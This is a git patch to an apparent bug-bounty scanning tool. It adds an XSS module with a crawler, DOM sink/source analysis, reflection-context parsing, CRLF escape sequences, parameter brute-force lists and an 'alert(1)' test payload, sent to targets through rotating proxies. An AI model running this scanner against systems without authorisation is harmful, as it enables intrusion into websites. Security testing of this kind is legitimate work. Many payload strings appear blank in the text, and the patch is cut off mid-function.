From 018db2290b1bd5246518b63742db85f93dfca847 Mon Sep 17 00:00:00 2001 From: ElNiak Date: Wed, 19 Jun 2024 18:48:27 +0200 Subject: [PATCH] +- finish adding xssstriker --- bounty_drive/attacks/xss/xss.py | 793 ++----------- bounty_drive/attacks/xss/xss_config.py | 11 - bounty_drive/attacks/xss/xss_cve.py | 11 +- bounty_drive/attacks/xss/xss_striker.py | 1317 +++++++++++++++++++++ bounty_drive/bounty_drive.py | 3 +- bounty_drive/bypasser/waf_mitigation.py | 2 - bounty_drive/configs/config.ini | 5 +- bounty_drive/requester/request_manager.py | 79 +- 8 files changed, 1519 insertions(+), 702 deletions(-) delete mode 100644 bounty_drive/attacks/xss/xss_config.py create mode 100644 bounty_drive/attacks/xss/xss_striker.py diff --git a/bounty_drive/attacks/xss/xss.py b/bounty_drive/attacks/xss/xss.py index 15aa28c..1150a97 100644 --- a/bounty_drive/attacks/xss/xss.py +++ b/bounty_drive/attacks/xss/xss.py @@ -1,37 +1,26 @@ ######################################################################################### # XSS Vulnerability testing functions ######################################################################################### -import glob +import base64 import random -import re import sys import concurrent.futures import threading import time from urllib.parse import urlparse -import bs4 -import requests from termcolor import cprint from tqdm import tqdm from attacks.dorks.google_dorking import get_proxies_and_cycle -from attacks.xss.xss_cve import retire_js +from attacks.xss.xss_striker import attacker_crawler, photon_crawler from reporting.results_manager import safe_add_result, update_attack_result from scraping.web_scraper import scrape_links_from_url -from vpn_proxies.proxies_manager import prepare_proxies, round_robin_proxies +from vpn_proxies.proxies_manager import prepare_proxies from bypasser.waf_mitigation import waf_detector from utils.app_config import ( USER_AGENTS, ) -from requester.request_manager import ( - get_params, - get_url, - handle_anchor, - inject_params, - inject_payload, - start_request, -) try: from selenium import webdriver @@ -46,275 +35,6 @@ ) sys.exit(1) -blindParams = [ # common paramtere names to be bruteforced for parameter discovery - "redirect", - "redir", - "url", - "link", - "goto", - "debug", - "_debug", - "test", - "get", - "index", - "src", - "source", - "file", - "frame", - "config", - "new", - "old", - "var", - "rurl", - "return_to", - "_return", - "returl", - "last", - "text", - "load", - "email", - "mail", - "user", - "username", - "password", - "pass", - "passwd", - "first_name", - "last_name", - "back", - "href", - "ref", - "data", - "input", - "out", - "net", - "host", - "address", - "code", - "auth", - "userid", - "auth_token", - "token", - "error", - "keyword", - "key", - "q", - "query", - "aid", - "bid", - "cid", - "did", - "eid", - "fid", - "gid", - "hid", - "iid", - "jid", - "kid", - "lid", - "mid", - "nid", - "oid", - "pid", - "qid", - "rid", - "sid", - "tid", - "uid", - "vid", - "wid", - "xid", - "yid", - "zid", - "cal", - "country", - "x", - "y", - "topic", - "title", - "head", - "higher", - "lower", - "width", - "height", - "add", - "result", - "log", - "demo", - "example", - "message", -] - -fuzzes = ( # Fuzz strings to test WAFs - "", - "", - "", - "", - "
", - "", - "", - "", response) - sinkFound, sourceFound = False, False - for script in scripts: - script = script.split("\n") - num = 1 - allControlledVariables = set() - try: - for newLine in script: - line = newLine - parts = line.split("var ") - controlledVariables = set() - if len(parts) > 1: - for part in parts: - for controlledVariable in allControlledVariables: - if controlledVariable in part: - controlledVariables.add( - re.search(r"[a-zA-Z$_][a-zA-Z0-9$_]+", part) - .group() - .replace("$", "\$") - ) - pattern = re.finditer(sources, newLine) - for grp in pattern: - if grp: - source = newLine[grp.start() : grp.end()].replace(" ", "") - if source: - if len(parts) > 1: - for part in parts: - if source in part: - controlledVariables.add( - re.search(r"[a-zA-Z$_][a-zA-Z0-9$_]+", part) - .group() - .replace("$", "\$") - ) - # line = line.replace(source, yellow + source + end) - for controlledVariable in controlledVariables: - allControlledVariables.add(controlledVariable) - for controlledVariable in allControlledVariables: - matches = list( - filter(None, re.findall(r"\b%s\b" % controlledVariable, line)) - ) - if matches: - sourceFound = True - # line = re.sub( - # r"\b%s\b" % controlledVariable, - # yellow + controlledVariable + end, - # line, - # ) - pattern = re.finditer(sinks, newLine) - for grp in pattern: - if grp: - sink = newLine[grp.start() : grp.end()].replace(" ", "") - if sink: - # line = line.replace(sink, red + sink + end) - sinkFound = True - if line != newLine: - highlighted.append("%-3s %s" % (str(num), line.lstrip(" "))) - num += 1 - except MemoryError: - pass - if sinkFound or sourceFound: - return highlighted - else: - return [] - - -def zetanize(response): - def e(string): - return string.encode("utf-8") - - def d(string): - return string.decode("utf-8") - - # remove the content between html comments - response = re.sub(r"(?s)", "", response) - forms = {} - matches = re.findall( - r"(?i)(?s)", response - ) # extract all the forms - num = 0 - for match in matches: # everything else is self explanatory if you know regex - page = re.search(r'(?i)action=[\'"](.*?)[\'"]', match) - method = re.search(r'(?i)method=[\'"](.*?)[\'"]', match) - forms[num] = {} - forms[num]["action"] = d(e(page.group(1))) if page else "" - forms[num]["method"] = d(e(method.group(1)).lower()) if method else "get" - forms[num]["inputs"] = [] - inputs = re.findall(r"(?i)(?s)", response) - for inp in inputs: - inpName = re.search(r'(?i)name=[\'"](.*?)[\'"]', inp) - if inpName: - inpType = re.search(r'(?i)type=[\'"](.*?)[\'"]', inp) - inpValue = re.search(r'(?i)value=[\'"](.*?)[\'"]', inp) - inpName = d(e(inpName.group(1))) - inpType = d(e(inpType.group(1))) if inpType else "" - inpValue = d(e(inpValue.group(1))) if inpValue else "" - if inpType.lower() == "submit" and inpValue == "": - inpValue = "Submit Query" - inpDict = {"name": inpName, "type": inpType, "value": inpValue} - forms[num]["inputs"].append(inpDict) - num += 1 - return forms - - -def photon_crawler(seedUrl, config, proxy): - forms = [] # web forms - processed = set() # urls that have been crawled - storage = set() # urls that belong to the target i.e. in-scope - schema = urlparse(seedUrl).scheme # extract the scheme e.g. http or https - host = urlparse(seedUrl).netloc # extract the host e.g. example.com - main_url = schema + "://" + host # join scheme and host to make the root url - storage.add(seedUrl) # add the url to storage - checkedDOMs = [] - - def rec(target): - processed.add(target) - printableTarget = "/".join(target.split("/")[3:]) - if len(printableTarget) > 40: - printableTarget = printableTarget[-40:] - else: - printableTarget = printableTarget + (" " * (40 - len(printableTarget))) - cprint( - "Parsing %s\r" % printableTarget, color="yellow", end="", file=sys.stderr - ) - url = get_url(target, True) - params = get_params(target, "", True) - if "=" in target: # if there's a = in the url, there should be GET parameters - inps = [] - for name, value in params.items(): - inps.append({"name": name, "value": value}) - forms.append({0: {"action": url, "method": "get", "inputs": inps}}) - - headers = { - "User-Agent": random.choice(USER_AGENTS), - "X-HackerOne-Research": "elniak", - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Language": "en-US,en;q=0.5", - "Accept-Encoding": "gzip,deflate", - "accept-language": "en-US,en;q=0.9", - "cache-control": "max-age=0", - "Connection": "close", - "DNT": "1", - "Upgrade-Insecure-Requests": "1", - } - # TODO add session - proxies = prepare_proxies(proxy, config) - cprint( - f"Searching for GET - Session (n° 0): {url} \n\t - parameters {params} \n\t - headers {headers} \n\t - xss - with proxy {proxies} ...", - "yellow", - file=sys.stderr, - ) - response = start_request( - proxies=proxies, - config=config, - base_url=url, - params=params, - secured=True - if proxies and "https" in proxies and "socks" in proxies["https"] - else False, - GET=True, - headers=headers, - ) - - if hasattr(response, "text"): - response = response.text - else: - response = "" - - retire_js(url, response, config, proxies) - - if not config["skip_dom"]: - highlighted = dom(response) - clean_highlighted = "".join( - [re.sub(r"^\d+\s+", "", line) for line in highlighted] - ) - if highlighted and clean_highlighted not in checkedDOMs: - checkedDOMs.append(clean_highlighted) - cprint( - "Potentially vulnerable objects found at %s" % url, - color="green", - file=sys.stderr, - ) - for line in highlighted: - cprint(line, color="green", file=sys.stderr) - - forms.append(zetanize(response)) - - matches = re.findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response) - for link in matches: # iterate over the matches - # remove everything after a "#" to deal with in-page anchors - link = link.split("#")[0] - if link.endswith( - (".pdf", ".png", ".jpg", ".jpeg", ".xls", ".xml", ".docx", ".doc") - ): - pass - else: - if link[:4] == "http": - if link.startswith(main_url): - storage.add(link) - elif link[:2] == "//": - if link.split("/")[2].startswith(host): - storage.add(schema + link) - elif link[:1] == "/": - storage.add(main_url + link) - else: - storage.add(main_url + "/" + link) - - try: - for x in range(config["level"]): - urls = storage - processed - # urls to crawl = all urls - urls that have been crawled - - cprint( - "Crawling %s urls for forms and links\r" % len(urls), - color="yellow", - file=sys.stderr, - ) - - with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: - future_to_search = {executor.submit(rec, url): url for url in urls} - for website in tqdm( - concurrent.futures.as_completed(future_to_search), - desc=f"Photon Crawling REC links DB for xss website", - unit="site", - total=len(future_to_search), - ): - website.result() - - # threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=30) - # futures = (threadpool.submit(rec, url) for url in urls) - # for i in concurrent.futures.as_completed(futures): - # pass - except KeyboardInterrupt: - return [forms, processed] - return [forms, processed] - - -# def checker(url, params, headers, GET, delay, payload, positions, timeout, encoding): -# checkString = 'st4r7s' + payload + '3nd' -# if encoding: -# checkString = encoding(unquote(checkString)) -# response = start_request(url, replaceValue( -# params, xsschecker, checkString, copy.deepcopy), headers, GET, delay, timeout).text.lower() -# reflectedPositions = [] -# for match in re.finditer('st4r7s', response): -# reflectedPositions.append(match.start()) -# filledPositions = fillHoles(positions, reflectedPositions) -# # Itretating over the reflections -# num = 0 -# efficiencies = [] -# for position in filledPositions: -# allEfficiencies = [] -# try: -# reflected = response[reflectedPositions[num] -# :reflectedPositions[num]+len(checkString)] -# efficiency = fuzz.partial_ratio(reflected, checkString.lower()) -# allEfficiencies.append(efficiency) -# except IndexError: -# pass -# if position: -# reflected = response[position:position+len(checkString)] -# if encoding: -# checkString = encoding(checkString.lower()) -# efficiency = fuzz.partial_ratio(reflected, checkString) -# if reflected[:-2] == ('\\%s' % checkString.replace('st4r7s', '').replace('3nd', '')): -# efficiency = 90 -# allEfficiencies.append(efficiency) -# efficiencies.append(max(allEfficiencies)) -# else: -# efficiencies.append(0) -# num += 1 -# return list(filter(None, efficiencies)) - -# def check_filter_efficiency(url, params, headers, GET, delay, occurences, timeout, encoding): -# positions = occurences.keys() -# sortedEfficiencies = {} -# # adding < > to environments anyway because they can be used in all contexts -# environments = set(['<', '>']) -# for i in range(len(positions)): -# sortedEfficiencies[i] = {} -# for i in occurences: -# occurences[i]['score'] = {} -# context = occurences[i]['context'] -# if context == 'comment': -# environments.add('-->') -# elif context == 'script': -# environments.add(occurences[i]['details']['quote']) -# environments.add('') -# elif context == 'attribute': -# if occurences[i]['details']['type'] == 'value': -# if occurences[i]['details']['name'] == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding -# environments.add('<') # so let's add the html entity -# environments.add('>') # encoded versions of < and > -# if occurences[i]['details']['quote']: -# environments.add(occurences[i]['details']['quote']) -# for environment in environments: -# if environment: -# efficiencies = checker( -# url, params, headers, GET, delay, environment, positions, timeout, encoding) -# efficiencies.extend([0] * (len(occurences) - len(efficiencies))) -# for occurence, efficiency in zip(occurences, efficiencies): -# occurences[occurence]['score'][environment] = efficiency -# return occurences - - def test_vulnerability_xss(config, website_to_test): """ Test a list of websites for XSS vulnerability using multithreading and proxies. @@ -762,16 +167,7 @@ def test_vulnerability_xss(config, website_to_test): vuln_path = [] if config["do_web_scrap"]: - # if not skipDOM: - # logger.run('Checking for DOM vulnerabilities') - # highlighted = dom(response) - # if highlighted: - # logger.good('Potentially vulnerable objects found') - # logger.red_line(level='good') - # for line in highlighted: - # logger.no_format(line, level='good') - # logger.red_line(level='good') - + # todo MERGE WITH CRAWL new_urls = [] lock = threading.Lock() @@ -813,10 +209,10 @@ def test_vulnerability_xss(config, website_to_test): website_to_test = list(set(website_to_test)) - if config["do_crawl"]: - + if config["fuzz_xss"]: + raise NotImplementedError("Fuzzing is not implemented yet") + elif config["do_crawl"]: lock = threading.Lock() - number_of_worker = len(proxies) search_tasks_with_proxy = [] for website in website_to_test: @@ -835,6 +231,9 @@ def test_vulnerability_xss(config, website_to_test): proxy = next(proxy_cycle) search_tasks_with_proxy.append({"website": website, "proxy": proxy}) + forms = [] + domURLs = [] + with concurrent.futures.ThreadPoolExecutor( max_workers=number_of_worker ) as executor: @@ -863,83 +262,119 @@ def test_vulnerability_xss(config, website_to_test): color="green", file=sys.stderr, ) - forms = crawling_result[0] - safe_add_result(("crawl", "xss", forms, "forms"), config) + forms_temps = crawling_result[0] + safe_add_result(("crawl", "xss", forms_temps, "forms"), config) - domURLs = list(crawling_result[1]) - safe_add_result(("crawl", "xss", domURLs, "doms"), config) + domURLs_temps = list(crawling_result[1]) + safe_add_result(("crawl", "xss", domURLs_temps, "doms"), config) difference = abs(len(domURLs) - len(forms)) - if len(domURLs) > len(forms): + + if len(domURLs_temps) > len(forms_temps): for i in range(difference): - forms.append(0) - elif len(forms) > len(domURLs): + forms_temps.append(0) + elif len(forms_temps) > len(domURLs_temps): for i in range(difference): - domURLs.append(0) - website_to_test = list(website_to_test) - website_to_test += domURLs - website_to_test += forms - website_to_test = list(set(website_to_test)) - - cprint( - f"Total links: {len(website_to_test)}", - color="green", - file=sys.stderr, - ) + domURLs_temps.append(0) + domURLs += domURLs_temps + forms += forms_temps + # website_to_test = list(website_to_test) + # website_to_test += domURLs + # website_to_test += forms + # website_to_test = list(set(website_to_test)) - lock = threading.Lock() + blindPayload = "alert(1)" # TODO + encoding = base64 if config["xss_encode"] else False - # Now, append a proxy to each task - number_of_worker = len(proxies) - search_tasks_with_proxy = [] - for website in website_to_test: - total_parsed_targets = [] - try: - cprint( - f"Intializing Payload Generator for url {website}", - color="yellow", - file=sys.stderr, - ) - parsed_target = generate_xss_urls(website) - cprint( - f"Generated {parsed_target[1]} payloads", - color="yellow", - file=sys.stderr, - ) - for each in parsed_target[0]: - total_parsed_targets.append(each) + cprint( + f"Total domURLs links: {len(domURLs)}", + color="green", + file=sys.stderr, + ) + cprint( + f"Total forms links: {len(forms)}", + color="green", + file=sys.stderr, + ) - cprint( - f"Total Parsed Targets: {len(total_parsed_targets)}", - color="yellow", - file=sys.stderr, - ) - for url in total_parsed_targets: - proxy = next(proxy_cycle) - search_tasks_with_proxy.append({"website": url, "proxy": proxy}) - except Exception as e: - cprint( - f"Error generating payloads for {website}: {e}", - "red", - file=sys.stderr, - ) + with concurrent.futures.ThreadPoolExecutor( + max_workers=number_of_worker + ) as executor: + future_to_search = { + executor.submit( + attacker_crawler, + scheme, + host, + main_url, + form, + blindPayload, + encoding, + config, + proxy, + ): form + for form, domURL in zip(forms, domURLs) # TODO use domURL + } + for website in tqdm( + concurrent.futures.as_completed(future_to_search), + desc=f"Attacker Crawling links DB for xss website", + unit="site", + total=len(future_to_search), + ): + website.result() - with concurrent.futures.ThreadPoolExecutor( - max_workers=number_of_worker - ) as executor: - future_to_search = { - executor.submit( - test_xss_target, task["website"], task["proxy"], config - ): task - for task in search_tasks_with_proxy - } - for website in tqdm( - concurrent.futures.as_completed(future_to_search), - desc=f"Testing for XSS", - unit="site", - total=len(future_to_search), - ): - result, payload_url = website.result() + # lock = threading.Lock() + + # # Now, append a proxy to each task + # number_of_worker = len(proxies) + # search_tasks_with_proxy = [] + # for website in website_to_test: + # total_parsed_targets = [] + # try: + # cprint( + # f"Intializing Payload Generator for url {website}", + # color="yellow", + # file=sys.stderr, + # ) + # parsed_target = generate_xss_urls(website) + # cprint( + # f"Generated {parsed_target[1]} payloads", + # color="yellow", + # file=sys.stderr, + # ) + # for each in parsed_target[0]: + # total_parsed_targets.append(each) + + # cprint( + # f"Total Parsed Targets: {len(total_parsed_targets)}", + # color="yellow", + # file=sys.stderr, + # ) + # for url in total_parsed_targets: + # proxy = next(proxy_cycle) + # search_tasks_with_proxy.append({"website": url, "proxy": proxy}) + # except Exception as e: + # cprint( + # f"Error generating payloads for {website}: {e}", + # "red", + # file=sys.stderr, + # ) + + # with concurrent.futures.ThreadPoolExecutor( + # max_workers=number_of_worker + # ) as executor: + # future_to_search = { + # executor.submit( + # test_xss_target, task["website"], task["proxy"], config + # ): task + # for task in search_tasks_with_proxy + # } + # for website in tqdm( + # concurrent.futures.as_completed(future_to_search), + # desc=f"Testing for XSS", + # unit="site", + # total=len(future_to_search), + # ): + # result, payload_url = website.result() # if vuln_path: # driver.execute_script("window.open('');") diff --git a/bounty_drive/attacks/xss/xss_config.py b/bounty_drive/attacks/xss/xss_config.py deleted file mode 100644 index de07f81..0000000 --- a/bounty_drive/attacks/xss/xss_config.py +++ /dev/null @@ -1,11 +0,0 @@ -# XSS Test Payload -XSS_TEST_PAYLOAD = "" - - -class XSSConfig: - ENCODE_XSS = False - BLIND_XSS = False - FUZZ_XSS = False - - -xss_config = XSSConfig() diff --git a/bounty_drive/attacks/xss/xss_cve.py b/bounty_drive/attacks/xss/xss_cve.py index 1b2038b..c6548b0 100644 --- a/bounty_drive/attacks/xss/xss_cve.py +++ b/bounty_drive/attacks/xss/xss_cve.py @@ -6,7 +6,12 @@ from termcolor import cprint from utils.app_config import USER_AGENTS -from requester.request_manager import deJSON, handle_anchor, js_extractor, start_request +from requester.request_manager import ( + de_json, + handle_anchor, + js_extractor, + start_request, +) checkedScripts = set() @@ -33,14 +38,14 @@ def scan(data, extractor, definitions, matcher=None): def _simple_match(regex, data): - regex = deJSON(regex) + regex = de_json(regex) match = re.search(regex, data) return match.group(1) if match else None def _replacement_match(regex, data): try: - regex = deJSON(regex) + regex = de_json(regex) group_parts_of_regex = r"^\/(.*[^\\])\/([^\/]+)\/$" ar = re.search(group_parts_of_regex, regex) search_for_regex = "(" + ar.group(1) + ")" diff --git a/bounty_drive/attacks/xss/xss_striker.py b/bounty_drive/attacks/xss/xss_striker.py new file mode 100644 index 0000000..9e58827 --- /dev/null +++ b/bounty_drive/attacks/xss/xss_striker.py @@ -0,0 +1,1317 @@ +import concurrent.futures +import copy +import random +import re +import sys +import glob +from urllib.parse import unquote, urlparse +import bs4 +from termcolor import cprint +from tqdm import tqdm +from fuzzywuzzy import fuzz +from vpn_proxies.proxies_manager import prepare_proxies + + +from utils.app_config import ( + USER_AGENTS, +) + +from attacks.xss.xss_cve import retire_js + +from requester.request_manager import ( + escaped, + fill_holes, + get_params, + get_url, + inject_params, + is_bad_context, + js_extractor, + replace_value, + start_request, + stripper, +) + +# Color +white = "\033[97m" +green = "\033[92m" +red = "\033[91m" +yellow = "\033[93m" +end = "\033[0m" +back = "\033[7;91m" +info = "\033[93m[!]\033[0m" +que = "\033[94m[?]\033[0m" +bad = "\033[91m[-]\033[0m" +good = "\033[92m[+]\033[0m" +run = "\033[97m[~]\033[0m" + +# Escape characters +# TODO +escape_chars = [ + "%0d", + "%0a", + "%0d%20", + "%0a%20", + "%3f", + "%0d%0a", + "%23%0d", + "%23%0a", + "%23%0d%0a", + "%u000a", + "%25%30%61", + "%25%30a", + "%3f%0d", + "%3f%0d%0a", + "%3f%0a", + "%%0a0a", + "%u000d", + "%u0000", + "%0d%09", + "%0d%0a%09", + "%0d%0a%20", + "%25250a", + "%250a", + "%2F..%0d%0a", + "%2f%2e%2e%0d%0a", + "%25%30", + "%2e%2e%2f%0d%0a", + "%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D", + "%E5%98%8A%E5%98%8D", + "%e5%98%8a%e5%98%8d%0a", + "%e5%98%8a%e5%98%8d%0d", + "%e5%98%8a%e5%98%8d%0d%0a", + f"\\r", + f"\\r\\n", + f"\\r\\t", + f"\\r\\n\\t", + f"\\r%20", + f"\\r\\n%20", +] + + +blindParams = [ # common paramtere names to be bruteforced for parameter discovery + "redirect", + "redir", + "url", + "link", + "goto", + "debug", + "_debug", + "test", + "get", + "index", + "src", + "source", + "file", + "frame", + "config", + "new", + "old", + "var", + "rurl", + "return_to", + "_return", + "returl", + "last", + "text", + "load", + "email", + "mail", + "user", + "username", + "password", + "pass", + "passwd", + "first_name", + "last_name", + "back", + "href", + "ref", + "data", + "input", + "out", + "net", + "host", + "address", + "code", + "auth", + "userid", + "auth_token", + "token", + "error", + "keyword", + "key", + "q", + "query", + "aid", + "bid", + "cid", + "did", + "eid", + "fid", + "gid", + "hid", + "iid", + "jid", + "kid", + "lid", + "mid", + "nid", + "oid", + "pid", + "qid", + "rid", + "sid", + "tid", + "uid", + "vid", + "wid", + "xid", + "yid", + "zid", + "cal", + "country", + "x", + "y", + "topic", + "title", + "head", + "higher", + "lower", + "width", + "height", + "add", + "result", + "log", + "demo", + "example", + "message", +] + +fuzzes = ( # Fuzz strings to test WAFs + "", + "", + "", + "", + "
", + "", + "", + "", response) + sinkFound, sourceFound = False, False + for script in scripts: + script = script.split("\n") + num = 1 + allControlledVariables = set() + try: + for newLine in script: + line = newLine + parts = line.split("var ") + controlledVariables = set() + if len(parts) > 1: + for part in parts: + for controlledVariable in allControlledVariables: + if controlledVariable in part: + controlledVariables.add( + re.search(r"[a-zA-Z$_][a-zA-Z0-9$_]+", part) + .group() + .replace("$", "\$") + ) + pattern = re.finditer(sources, newLine) + for grp in pattern: + if grp: + source = newLine[grp.start() : grp.end()].replace(" ", "") + if source: + if len(parts) > 1: + for part in parts: + if source in part: + controlledVariables.add( + re.search(r"[a-zA-Z$_][a-zA-Z0-9$_]+", part) + .group() + .replace("$", "\$") + ) + line = line.replace(source, yellow + source + end) + for controlledVariable in controlledVariables: + allControlledVariables.add(controlledVariable) + for controlledVariable in allControlledVariables: + matches = list( + filter(None, re.findall(r"\b%s\b" % controlledVariable, line)) + ) + if matches: + sourceFound = True + line = re.sub( + r"\b%s\b" % controlledVariable, + yellow + controlledVariable + end, + line, + ) + pattern = re.finditer(sinks, newLine) + for grp in pattern: + if grp: + sink = newLine[grp.start() : grp.end()].replace(" ", "") + if sink: + # line = line.replace(sink, red + sink + end) + sinkFound = True + if line != newLine: + highlighted.append("%-3s %s" % (str(num), line.lstrip(" "))) + num += 1 + except MemoryError: + pass + if sinkFound or sourceFound: + return highlighted + else: + return [] + + +def zetanize(response): + """Extracts form information from an HTML response. + + This function takes an HTML response as input and extracts information about the forms present in the response. + It removes the content between HTML comments and then uses regular expressions to extract form details such as action, + method, and input fields. + + Args: + response (str): The HTML response string. + + Returns: + dict: A dictionary containing information about the forms present in the HTML response. The dictionary has the following structure: + { + form_number: { + "action": action_url, + "method": form_method, + "inputs": [ + { + "name": input_name, + "type": input_type, + "value": input_value + }, + ... + ] + }, + ... + } + Each form is represented by a unique form_number, starting from 0. The "action" key represents the URL where the form data should be submitted. + The "method" key represents the HTTP method to be used for form submission (default is "get" if not specified). + The "inputs" key is a list of dictionaries, where each dictionary represents an input field in the form. Each input field dictionary has + "name", "type", and "value" keys representing the name, type, and initial value of the input field respectively. + + """ + + def e(string): + return string.encode("utf-8") + + def d(string): + return string.decode("utf-8") + + # remove the content between html comments + response = re.sub(r"(?s)", "", response) + forms = {} + matches = re.findall( + r"(?i)(?s)", response + ) # extract all the forms + num = 0 + for match in matches: # everything else is self explanatory if you know regex + page = re.search(r'(?i)action=[\'"](.*?)[\'"]', match) + method = re.search(r'(?i)method=[\'"](.*?)[\'"]', match) + forms[num] = {} + forms[num]["action"] = d(e(page.group(1))) if page else "" + forms[num]["method"] = d(e(method.group(1)).lower()) if method else "get" + forms[num]["inputs"] = [] + inputs = re.findall(r"(?i)(?s)", response) + for inp in inputs: + inpName = re.search(r'(?i)name=[\'"](.*?)[\'"]', inp) + if inpName: + inpType = re.search(r'(?i)type=[\'"](.*?)[\'"]', inp) + inpValue = re.search(r'(?i)value=[\'"](.*?)[\'"]', inp) + inpName = d(e(inpName.group(1))) + inpType = d(e(inpType.group(1))) if inpType else "" + inpValue = d(e(inpValue.group(1))) if inpValue else "" + if inpType.lower() == "submit" and inpValue == "": + inpValue = "Submit Query" + inpDict = {"name": inpName, "type": inpType, "value": inpValue} + forms[num]["inputs"].append(inpDict) + num += 1 + return forms + + +def photon_crawler(seedUrl, config, proxy): + """Crawls a website to find forms and links for XSS vulnerability testing. + + Args: + seedUrl (str): The starting URL for crawling. + config (dict): Configuration settings for the crawler. + proxy (str): Proxy settings for making requests. + + Returns: + list: A list containing the found forms and processed URLs. + """ + + forms = [] # web forms + processed = set() # urls that have been crawled + storage = set() # urls that belong to the target i.e. in-scope + schema = urlparse(seedUrl).scheme # extract the scheme e.g. http or https + host = urlparse(seedUrl).netloc # extract the host e.g. example.com + main_url = schema + "://" + host # join scheme and host to make the root url + storage.add(seedUrl) # add the url to storage + checkedDOMs = [] + + def recursive_crawl(target): + """_summary_ + + Args: + target (_type_): _description_ + """ + processed.add(target) + printableTarget = "/".join(target.split("/")[3:]) + if len(printableTarget) > 40: + printableTarget = printableTarget[-40:] + else: + printableTarget = printableTarget + (" " * (40 - len(printableTarget))) + cprint( + "Parsing %s\r" % printableTarget, color="yellow", end="", file=sys.stderr + ) + url = get_url(target, True) + + params = get_params(target, "", True) + if "=" in target: # if there's a = in the url, there should be GET parameters + inps = [] + for name, value in params.items(): + inps.append({"name": name, "value": value}) + forms.append({0: {"action": url, "method": "get", "inputs": inps}}) + + headers = { + "User-Agent": random.choice(USER_AGENTS), + "X-HackerOne-Research": "elniak", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "accept-language": "en-US,en;q=0.9", + "cache-control": "max-age=0", + "Connection": "close", + "DNT": "1", + "Upgrade-Insecure-Requests": "1", + } + # TODO add session + proxies = prepare_proxies(proxy, config) + cprint( + f"Searching for GET - Session (n° 0): {url} \n\t - parameters {params} \n\t - headers {headers} \n\t - xss - with proxy {proxies} ...", + "yellow", + file=sys.stderr, + ) + response = start_request( + proxies=proxies, + config=config, + base_url=url, + params=params, + secured=( + True + if proxies and "https" in proxies and "socks" in proxies["https"] + else False + ), + GET=True, + headers=headers, + ) + + if hasattr(response, "text"): + response = response.text + else: + response = "" + + retire_js(url, response, config, proxies) + + if not config["skip_dom"]: + highlighted = dom(response) + clean_highlighted = "".join( + [re.sub(r"^\d+\s+", "", line) for line in highlighted] + ) + if highlighted and clean_highlighted not in checkedDOMs: + checkedDOMs.append(clean_highlighted) + cprint( + "Potentially vulnerable DOM objects found at %s" % url, + color="green", + file=sys.stderr, + ) + for line in highlighted: + cprint(line, color="green", file=sys.stderr) + + forms.append(zetanize(response)) + + matches = re.findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response) + for link in matches: + # iterate over the matches + # remove everything after a "#" to deal with in-page anchors + link = link.split("#")[0] + if link.endswith( + (".pdf", ".png", ".jpg", ".jpeg", ".xls", ".xml", ".docx", ".doc") + ): + pass + else: + if link[:4] == "http": + if link.startswith(main_url): + storage.add(link) + elif link[:2] == "//": + if link.split("/")[2].startswith(host): + storage.add(schema + link) + elif link[:1] == "/": + storage.add(main_url + link) + else: + storage.add(main_url + "/" + link) + + cprint( + "Found %s forms and %s links\r" % (len(forms), len(storage)), + color="green", + file=sys.stderr, + ) + cprint( + "Processed %s urls\r" % len(processed), + color="green", + file=sys.stderr, + ) + cprint( + "Storage %s urls\r" % len(storage), + color="green", + file=sys.stderr, + ) + + try: + for x in range(config["level"]): + urls = storage - processed + # urls to crawl = all urls - urls that have been crawled + + cprint( + "Crawling %s urls for forms and links\r" % len(urls), + color="yellow", + file=sys.stderr, + ) + + with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: + future_to_search = { + executor.submit(recursive_crawl, url): url for url in urls + } + for website in tqdm( + concurrent.futures.as_completed(future_to_search), + desc=f"Photon Crawling recursive_crawl links DB for xss website", + unit="site", + total=len(future_to_search), + ): + website.result() + + # threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=30) + # futures = (threadpool.submit(recursive_crawl, url) for url in urls) + # for i in concurrent.futures.as_completed(futures): + # pass + except KeyboardInterrupt: + return [forms, processed] + return [forms, processed] + + +def html_xss_parser(response, encoding): + rawResponse = response # raw response returned by requests + response = response.text # response content + if encoding: # if the user has specified an encoding, encode the probe in that + response = response.replace(encoding(xsschecker), xsschecker) + reflections = response.count(xsschecker) + position_and_context = {} + environment_details = {} + clean_response = re.sub(r"", "", response) + script_checkable = clean_response + for script in js_extractor(script_checkable): + occurences = re.finditer(r"(%s.*?)$" % xsschecker, script) + if occurences: + for occurence in occurences: + thisPosition = occurence.start(1) + position_and_context[thisPosition] = "script" + environment_details[thisPosition] = {} + environment_details[thisPosition]["details"] = {"quote": ""} + for i in range(len(occurence.group())): + currentChar = occurence.group()[i] + if currentChar in ("/", "'", "`", '"') and not escaped( + i, occurence.group() + ): + environment_details[thisPosition]["details"][ + "quote" + ] = currentChar + elif currentChar in (")", "]", "}", "}") and not escaped( + i, occurence.group() + ): + break + script_checkable = script_checkable.replace(xsschecker, "", 1) + if len(position_and_context) < reflections: + attribute_context = re.finditer( + r"<[^>]*?(%s)[^>]*?>" % xsschecker, clean_response + ) + for occurence in attribute_context: + match = occurence.group(0) + thisPosition = occurence.start(1) + parts = re.split(r"\s", match) + tag = parts[0][1:] + for part in parts: + if xsschecker in part: + Type, quote, name, value = "", "", "", "" + if "=" in part: + quote = re.search(r'=([\'`"])?', part).group(1) + name_and_value = part.split("=")[0], "=".join( + part.split("=")[1:] + ) + if xsschecker == name_and_value[0]: + Type = "name" + else: + Type = "value" + name = name_and_value[0] + value = ( + name_and_value[1].rstrip(">").rstrip(quote).lstrip(quote) + ) + else: + Type = "flag" + position_and_context[thisPosition] = "attribute" + environment_details[thisPosition] = {} + environment_details[thisPosition]["details"] = { + "tag": tag, + "type": Type, + "quote": quote, + "value": value, + "name": name, + } + if len(position_and_context) < reflections: + html_context = re.finditer(xsschecker, clean_response) + for occurence in html_context: + thisPosition = occurence.start() + if thisPosition not in position_and_context: + position_and_context[occurence.start()] = "html" + environment_details[thisPosition] = {} + environment_details[thisPosition]["details"] = {} + if len(position_and_context) < reflections: + comment_context = re.finditer( + r"" % 